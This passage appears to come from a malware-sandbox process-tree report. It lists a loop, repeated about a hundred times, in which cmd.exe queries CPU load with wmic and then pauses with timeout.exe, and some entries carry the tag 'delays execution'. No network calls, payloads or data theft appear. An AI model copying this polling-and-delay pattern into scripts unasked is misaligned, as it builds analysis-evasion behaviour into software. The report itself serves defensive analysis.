C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3744
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5220
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1644
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:980
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5180
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5416
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5420
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5240
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5216
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2832
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3404
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5160
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2704
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5172
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5516
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:6084
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1648
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5880
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5940
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4884
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2836
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3568
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4960
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1604
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4600
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3952
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5200
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2676
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:528
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3316
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2028
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2092
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2016
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4380
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4808
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3056
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:972
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1964
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3232
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4408
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:6100
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5768
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5404
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5892
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5032
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5204
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3216
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4848
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5152
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1100
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3308
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4280
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5916
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1168
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2068
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4696
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1432
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1740
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4004
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2956
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3324
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2868
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5968
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3860
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1600
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4192
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5804
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5876
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5384
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4916
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3524
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2756
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1040
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2440
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5784
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3208
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2088
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3784
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5584
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4892
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3964
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2208
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3900
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:216
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5472
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3804
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4768
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1440
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5184
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:6076
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4284
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4608
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4080
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4124
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5148
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4000
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5424
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5276
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4036
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1900
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5060
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3392
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1400
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3976
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3048
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5448
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5180
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4824
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5248
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5420
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2276
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4620
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5980
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2056
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1416
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5092
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4328
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3752
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5900
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3128
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5952
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1684
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5860
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1940
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:864
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3076
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:700
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1856
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5196
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5816
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2032
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5048
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2952
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4568
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5772
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4808
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1340
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5364
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3968
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4664
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4872
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2244
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4628
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5936
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2560
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2548
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5896
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:924
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4540
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5524
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4316
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1100
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:396
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4992
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3956
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1168
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1492
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4248
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:224
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1380
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1408
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3996
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3260
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:6124
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3852
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1144
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3536
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5844
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1036
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4812
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5512
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5384
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1208
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1056
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4660
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5256
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1460
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3972
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4420
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3208
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3084
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1508
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2228
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3472
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2188
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5856
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2208
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1540
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:6048
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1376
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1608
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5496
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4608
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1128
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:784
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5996
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5148
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2180
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4680
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2380
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2116
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1968
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5060
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3460
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3160
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4412
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5220
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3540
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:980
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5268
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4824
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1008
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4076
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:564
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1820
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1712
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:6080
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1620
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2540
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5092
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4836
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:552
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5536
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4684
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1532
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4376
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4972
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3568
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2344
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5860
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1976
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2220
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3076
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1856
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4984
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5816
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:772
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2728
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4924
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:6036
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4788
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5408
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4808
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:6092
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5364
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4664
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1348
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:6072
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1972
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5936
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4480
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3516
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:924
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3020
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2456
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:6112
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1588
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4888
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4280
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3396
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2224
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4392
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4060
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5612
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4424
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1408
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2984
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3260
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5948
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5616
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1144
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5836
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:432
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3300
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4520
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3384
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3800
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4556
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4916
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4660
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2104
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4776
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5296
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2088
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5820
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4320
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4892
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5312
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2644
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3060
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:216
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2160
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4260
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2840
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3804
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1624
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3732
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1448
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3176
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5496
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5960
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4780
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4300
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4000
-
-
